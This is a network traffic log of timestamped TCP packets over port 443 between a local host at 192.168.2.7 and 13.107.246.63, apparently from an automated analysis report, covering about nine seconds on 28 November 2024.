Nov 28, 2024 10:05:03.018194914 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.018233061 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.019128084 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.019134045 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.472948074 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.473027945 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.473130941 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.473339081 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.473361969 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.473372936 CET	49773	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.473377943 CET	443	49773	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.477518082 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.477607965 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.477699041 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.477946043 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.477979898 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.701383114 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.702511072 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.705507040 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.705528975 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.706073046 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.706077099 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.706355095 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.706378937 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.710264921 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.710273027 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.764370918 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.765233040 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.765248060 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.765795946 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.765799999 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.778870106 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.781004906 CET	49780	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.781035900 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:03.781471014 CET	49780	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:03.781476974 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.146112919 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.146172047 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.146296978 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.146306992 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.146404982 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.148598909 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.217565060 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.217621088 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.217710018 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.234188080 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.234260082 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.234344959 CET	49780	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.789568901 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.789598942 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.789614916 CET	49778	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.789621115 CET	443	49778	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.790865898 CET	49780	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.790899038 CET	443	49780	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.792754889 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.792784929 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.792798996 CET	49779	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.792804956 CET	443	49779	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.794060946 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.794068098 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.794070005 CET	49777	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.794075966 CET	443	49777	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.806556940 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.806588888 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.806720018 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.808330059 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.808439016 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.808521986 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.809695005 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.809736967 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.809788942 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.810126066 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.810137987 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.811914921 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.811949968 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.812062025 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.812091112 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.812141895 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.812258959 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.812271118 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:04.812454939 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:04.812469006 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.323978901 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.324429989 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.324467897 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.324898958 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.324906111 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.805834055 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.805917025 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.806031942 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.828424931 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.828452110 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.828466892 CET	49781	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.828474045 CET	443	49781	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.832350016 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.832391024 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:05.832468987 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.832926035 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:05.832940102 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.526900053 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.527389050 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.527421951 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.527843952 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.527849913 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.528125048 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.528368950 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.528402090 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.528726101 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.528731108 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.589642048 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.590127945 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.590162039 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.590893030 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.590899944 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.657185078 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.657644987 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.657675982 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.658087015 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.658092976 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.965753078 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.965828896 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.965879917 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.967984915 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.968008041 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.968054056 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.968082905 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.968149900 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.971127987 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.971154928 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.971167088 CET	49784	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.971173048 CET	443	49784	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.972446918 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.972446918 CET	49783	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.972496033 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.972526073 CET	443	49783	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.983833075 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:06.983869076 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:06.983939886 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.000446081 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.000456095 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.001497030 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.001549006 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.001615047 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.001861095 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.001868963 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.034260035 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.034313917 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.034375906 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.035646915 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.035672903 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.035685062 CET	49782	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.035690069 CET	443	49782	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.066219091 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.066260099 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.066327095 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.067333937 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.067347050 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.112154007 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.112231970 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.112281084 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.113023043 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.113034964 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.113049984 CET	49785	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.113054037 CET	443	49785	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.125792027 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.125828028 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.125890970 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.214903116 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.214921951 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.618784904 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.664027929 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.688106060 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.688132048 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:07.688999891 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:07.689007998 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.063275099 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.063473940 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.063538074 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.063579082 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.063597918 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.063621044 CET	49786	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.063627005 CET	443	49786	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.067377090 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.067440033 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.067500114 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.067781925 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.067795038 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.715509892 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.717001915 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.717022896 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.717458010 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.717462063 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.718332052 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.720879078 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.720892906 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.721172094 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.721177101 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.919157028 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.919640064 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.919667006 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.920087099 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.920092106 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.995739937 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.996861935 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.996879101 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:08.997345924 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:08.997359037 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.155495882 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.155520916 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.155580044 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.155610085 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.155860901 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.155874968 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.155883074 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.156023026 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.156050920 CET	443	49787	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.156094074 CET	49787	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.158328056 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.158399105 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.158499002 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.158626080 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.158646107 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.160468102 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.160500050 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.160551071 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.160559893 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.160595894 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.160645008 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.160674095 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.160674095 CET	49788	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.160690069 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.160701036 CET	443	49788	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.162852049 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.162877083 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.162947893 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.163063049 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.163073063 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.379368067 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.379393101 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.379446983 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.379462004 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.379630089 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.379641056 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.379647970 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.379777908 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.379803896 CET	443	49789	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.379842043 CET	49789	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.382318020 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.382378101 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.382590055 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.383457899 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.383471012 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.443767071 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.443845034 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.443897963 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.444112062 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.444128990 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.444138050 CET	49790	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.444144011 CET	443	49790	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.448816061 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.448841095 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.448925018 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.449120998 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.449134111 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.854511023 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.861516953 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.861534119 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:09.862041950 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:09.862046003 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.297184944 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.300662041 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.300756931 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.628695011 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.628695965 CET	49791	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.628735065 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.628746033 CET	443	49791	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.667135000 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.667180061 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.667278051 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.667409897 CET	49796	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.667419910 CET	443	49796	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.905338049 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.906095028 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.906127930 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:10.906955004 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:10.906961918 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.006313086 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.021255016 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.021297932 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.022125959 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.022133112 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.240859985 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.241338015 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.241365910 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.241796017 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.241801023 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.339862108 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.343167067 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.343245029 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.347899914 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.347927094 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.347939968 CET	49793	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.347944975 CET	443	49793	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.352021933 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.352077961 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.352159977 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.352283001 CET	49797	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.352303982 CET	443	49797	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.440567970 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.444437027 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.444591045 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.444638014 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.444658995 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.444669962 CET	49794	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.444681883 CET	443	49794	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.447333097 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.447388887 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.447467089 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.447590113 CET	49798	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.447602987 CET	443	49798	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.456855059 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.461045027 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.461061001 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.461553097 CET	49792	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.461559057 CET	443	49792	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.684552908 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.687983990 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.688065052 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.693552017 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.693571091 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.693583012 CET	49795	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.693588018 CET	443	49795	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.696979046 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.697016001 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:11.697071075 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.697410107 CET	49799	443	192.168.2.7	13.107.246.63
Nov 28, 2024 10:05:11.697423935 CET	443	49799	13.107.246.63	192.168.2.7
Nov 28, 2024 10:05:12.291855097 CET	49703	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:05:12.320000887 CET	49800	443	192.168.2.7	104.98.116.138
Nov 28, 2024 10:05:12.320045948 CET	443	49800	104.98.116.138	192.168.2.7
